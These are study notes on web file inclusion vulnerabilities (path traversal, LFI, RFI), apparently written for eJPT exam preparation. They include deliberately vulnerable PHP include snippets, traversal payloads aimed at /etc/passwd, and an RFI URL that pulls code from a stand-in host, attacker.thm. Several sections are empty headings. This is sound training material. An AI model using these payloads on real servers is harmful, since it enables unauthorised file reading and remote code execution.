File Inclusion

NOTES

Exploit Definition:

  1. File inclusion is a security vulnerability found in web applications where an attacker can manipulate the input parameters of a web application to include files that should not be accessible. This can lead to unauthorized access to files on the server, execution of arbitrary code, and potentially full control over the server.

Types of File Inclusion

There are two primary types of file inclusion vulnerabilities:

  1. Local File Inclusion (LFI)
  2. Remote File Inclusion (RFI)

Why do File inclusion vulnerabilities happen?

File inclusion vulnerabilities are commonly found and exploited in various programming languages for web applications, such as PHP that are poorly written and implemented. The main issue of these vulnerabilities is the input validation, in which the user inputs are not sanitized or validated, and the user controls them. When the input is not validated, the user can pass any input to the function, causing the vulnerability.

What is the risk of File inclusion?

By default, an attacker can leverage file inclusion vulnerabilities to leak data, such as code, credentials or other important files related to the web application or operating system. Moreover, if the attacker can write files to the server by any other means, file inclusion might be used in tandem to gain remote command execution (RCE).

Path Traversal or Directory Traversal

Important Notes on Path Traversal Vulnerability

Path Traversal Overview:

Key Concepts:

Exploitation Process:

  1. Identify the Vulnerable Parameter: Find URL parameters that can be manipulated to include file paths.
  2. Craft Payload: Use traversal sequences to move up the directory hierarchy.
    • Example: http://webapp.thm/get.php?file=../../../../etc/passwd for Linux systems.
  3. Target Specific Files: Aim for sensitive files like /etc/passwd (Linux) or c:\boot.ini (Windows).

Key Files and Directories:

Mitigation Strategies:

Local File Inclusion (LFI) Overview

Local File Inclusion (LFI) is a type of vulnerability that allows an attacker to include files on a server through the web browser. This can lead to the exposure of sensitive files, the execution of arbitrary code, and potentially full control over the server. LFI vulnerabilities commonly occur due to improper handling of user input in functions that include files, such as include(), require(), include_once(), and require_once() in PHP.

LFI Exploitation Scenarios

Scenario 1: Basic LFI Exploit

Vulnerable Code:

<?php 
include($_GET["lang"]);
?>

Explanation:

Exploitation:

Important Note for EJPT:

Scenario 2: Directory-Specified LFI

Vulnerable Code:

<?php 
include("languages/" . $_GET['lang']); 
?>

Explanation:

Exploitation:

Important Note for EJPT:

Key Points for Cybersecurity Students and EJPT Preparation

  1. Identifying LFI Vulnerabilities:

    • Look for file inclusion functions (include(), require()) that use user input.
    • Test URL parameters that influence file inclusion.

  2. Crafting Exploits:

    • Use directory traversal sequences (../) to move up the directory structure.
    • Target sensitive files like /etc/passwd on Linux or c:\boot.ini on Windows.

  3. Common Targets:

    • Linux:
      • /etc/passwd: Contains user information.
      • /etc/shadow: Contains password hashes.
      • /root/.bash_history: Root user command history.
    • Windows:
      • c:\boot.ini: Boot options.
      • c:\windows\win.ini: Windows initialization file.

  4. Preventing LFI Vulnerabilities:

    • Implement robust input validation and sanitization.
    • Use allowlists to restrict permissible file inclusions.
    • Avoid using user input directly in file inclusion functions.

  5. Practical Exercises:

    • Set up a vulnerable web application to practice identifying and exploiting LFI.
    • Use different payloads to understand the behavior of the application and how it handles file inclusion.

By mastering the concepts and techniques related to LFI vulnerabilities, students can better prepare for practical cybersecurity challenges, including those encountered in the EJPT exam.

Advanced Local File Inclusion (LFI) Techniques

Local File Inclusion (LFI) vulnerabilities allow attackers to include files on a server through web browser input. This section covers advanced techniques for exploiting LFI vulnerabilities, especially in scenarios where source code is not available (black box testing) and various filters are in place.

Scenario 1: Bypassing File Extension Filters with Null Bytes

Vulnerable Entry Point:

http://webapp.thm/index.php?lang=EN

Observation:

Exploit:

Bypassing with Null Byte:

Important Note for EJPT:

Scenario 2: Bypassing Filters with Current Directory Trick

Scenario:

Bypassing Filter:

Alternate Bypass with Null Byte:

Important Note for EJPT:

Scenario 3: Bypassing Directory Traversal Filters

Scenario:

Bypassing Filter:

Important Note for EJPT:

Scenario 4: Forced Directory Inclusions

Scenario:

Exploitation:

Important Note for EJPT:

Key Points for Cybersecurity Students and EJPT Preparation

  1. Error Messages and Black Box Testing:

    • Utilize error messages to infer how inputs are processed.
    • Understand common error message patterns that reveal directory structures and file paths.

  2. Advanced Payload Crafting:

    • Learn to use Null Byte injections and directory traversal sequences effectively.
    • Practice constructing payloads that bypass various filters and restrictions.

  3. Defensive Coding Practices:

    • Recognize the importance of robust input validation and sanitization.
    • Implement allowlists to restrict permissible file inclusions.
    • Avoid using user input directly in file inclusion functions.

  4. Hands-On Practice:

    • Set up vulnerable environments to practice advanced LFI exploitation techniques.
    • Experiment with different payloads to understand how various filters and validations can be bypassed.

Remote File Inclusion (RFI)

Remote File Inclusion (RFI) is a critical vulnerability that allows an attacker to include remote files into a vulnerable web application. This type of attack occurs due to improper sanitization of user inputs, which allows external URLs to be injected into file inclusion functions. RFI poses a higher risk compared to Local File Inclusion (LFI) because it can lead to Remote Command Execution (RCE) on the server.

Key Points About RFI:

RFI Attack Steps:

  1. Hosting a Malicious File:

    • The attacker hosts a malicious PHP file on their server. For example, the file cmd.txt on http://attacker.thm/cmd.txt might contain:
      <?php echo "Hello THM"; ?>

  2. Injecting the Malicious URL:

    • The attacker injects the malicious URL into the vulnerable web application. The URL might look like:
      http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt

  3. Execution on the Target Server:

    • If the web application does not validate the input, the include function fetches and executes the remote file. The web server sends a GET request to http://attacker.thm/cmd.txt, includes its content, and executes it within the context of the web application.

  4. Output Observation:

    • The execution result, such as the message "Hello THM", is displayed on the web application, indicating that the attack was successful.

Practical Example:

Visit the provided lab URL to practice an RFI attack:

http://10.10.221.166/playground.php

Important Notes for Cybersecurity Students:

  1. Understanding PHP Configurations:

    • Familiarize yourself with PHP configurations like allow_url_fopen and allow_url_include. These settings can significantly impact the ability to perform RFI attacks.

  2. Input Validation and Sanitization:

    • Recognize the importance of proper input validation and sanitization to prevent RFI. Using a whitelist approach to allow only certain files can help mitigate this risk.

  3. File Inclusion Functions:

    • Know the common PHP functions that can be exploited for file inclusion vulnerabilities:
      • include()
      • require()
      • include_once()
      • require_once()

  4. Risk Mitigation:

    • Ensure that allow_url_fopen and allow_url_include are disabled unless absolutely necessary.
    • Implement strong input validation and use prepared statements to handle user inputs safely.
    • Regularly update and patch web applications to address known vulnerabilities.